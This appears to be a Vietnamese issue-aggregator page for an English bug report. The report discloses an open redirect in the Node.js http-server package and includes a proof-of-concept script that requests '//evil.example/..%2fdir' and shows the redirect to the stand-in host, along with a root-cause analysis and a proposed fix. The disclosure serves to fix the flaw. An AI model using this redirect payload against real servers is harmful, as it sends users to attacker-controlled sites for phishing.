Open redirect via `//<host>/..%2f<dir>` in directory trailing-slash redirect
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 2/5
- Thời gian dự kiến
- 1-3 giờ
- Mức phù hợp với người mới
- 78/100
- Loại issue
- Lỗi
- Độ rõ ràng
- Đặc tả rõ ràng
- Mức độ hoạt động
- Sôi nổi
- Công nghệ
- javascript, node.js
Hướng nghiên cứu
Bắt đầu tại lib/core/index.js, ở decodePathname(parsed.pathname) và phần chuyển hướng thư mục có dấu gạch chéo cuối đường dẫn tạo tiêu đề Location. Thêm một kiểm thử hồi quy dùng dạng yêu cầu được cung cấp và xác minh rằng chuyển hướng vẫn ở cùng origin của máy chủ và chỉ có một dấu gạch chéo ở đầu. Issue không nêu tệp kiểm thử, vì vậy trước tiên hãy tìm các kiểm thử chuyển hướng hiện có và chạy bộ kiểm thử liên quan.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
In http-server 14.1.1 and master (0d3b7bb, Node.js v26.13.0), requesting a path starting with //<host>/..%2f<subdir> when the served root contains <subdir> returns a 302 redirect with a scheme-relative Location header (//<host>/..%2f<subdir>/) that browsers resolve to http://<host>/..%2f<subdir>/ (CWE-601; incomplete fix for ecstatic advisory GHSA-9q64-mpxx-87fg).
const httpServer = require('http-server');
const fs = require('fs');
fs.mkdirSync('./test-root/dir', { recursive: true });
const server = httpServer.createServer({ root: './test-root' });
server.listen(0, '127.0.0.1', async () => {
const { port } = server.server.address();
const url = `http://127.0.0.1:${port}//evil.example/..%2fdir`;
const res = await fetch(url, { redirect: 'manual' });
const loc = res.headers.get('location');
console.log('Status:', res.status);
console.log('Location:', loc);
console.log('Resolved URL:', new URL(loc, url).href);
server.close();
});
Expected: Location is a single-slash origin-relative path (e.g. Location: /dir/) that stays on http://127.0.0.1:<port>/.
Actual:
Status: 302
Location: //evil.example/..%2fdir/
Resolved URL: http://evil.example/..%2fdir/
Reference: RFC 9110 §10.2.2 (Location header field) and WHATWG URL Standard §4.4 (a relative-URL string beginning with // is parsed as a scheme-relative-special-url whose host is the authority following //); see also GHSA-9q64-mpxx-87fg and commit jfhbrook/node-ecstatic@be6fc25.
In lib/core/index.js, decodePathname(parsed.pathname) decodes %2f and normalizes //evil.example/../dir to pathname = '/dir' (matching the local directory without a trailing slash), but the 302 response constructs Location from the unnormalized parsed.pathname (ensureUriEncoded(${parsed.pathname}/${q})) instead of pathname or a path with leading slashes collapsed ('/' + parsed.pathname.replace(/^[\/\\]+/, '')).
Credit: https://ucsbplse.github.io/
- Ngôn ngữ chính
- JavaScript
- Star
- 14.2k
- Fork
- 1.6k
- Chỉ số merge pull request
- Không có pull request nào được merge trong 30 ngày
Chuẩn bị môi trường
- Có Dockerfile hoặc tệp Docker Compose
- Có mẫu pull request
- Đọc hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của http-party/http-server
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 68/100
http-party/http-server#977 · 2 reaction ·
-
Độ khó 5/5 Hơn một tuần Mức phù hợp với người mới 8/100
http-party/http-server#980 · 2 bình luận ·
-
New chetĐang mở
Độ khó 5/5 Hơn một tuần Mức phù hợp với người mới 10/100
http-party/http-server#976 ·
-
Dreams local boyĐang mở
Độ khó 5/5 Hơn một tuần Mức phù hợp với người mới 15/100
http-party/http-server#975 ·
-
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 48/100
http-party/http-server#973 · 3 bình luận ·
Tất cả issue của http-party/http-server
Issue tương tự
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
guybedford/es-module-lexer#266 ·
-
bug documentation
Độ khó 1/5 1-3 giờ Mức phù hợp với người mới 88/100
apify/apify-docs#3206 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
enhancement good first issue
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 90/100
anhnt256/cursor-swarm#21 ·
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100
-
documentation good first issue
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 74/100
zerohourzulu/irontrellis#16 ·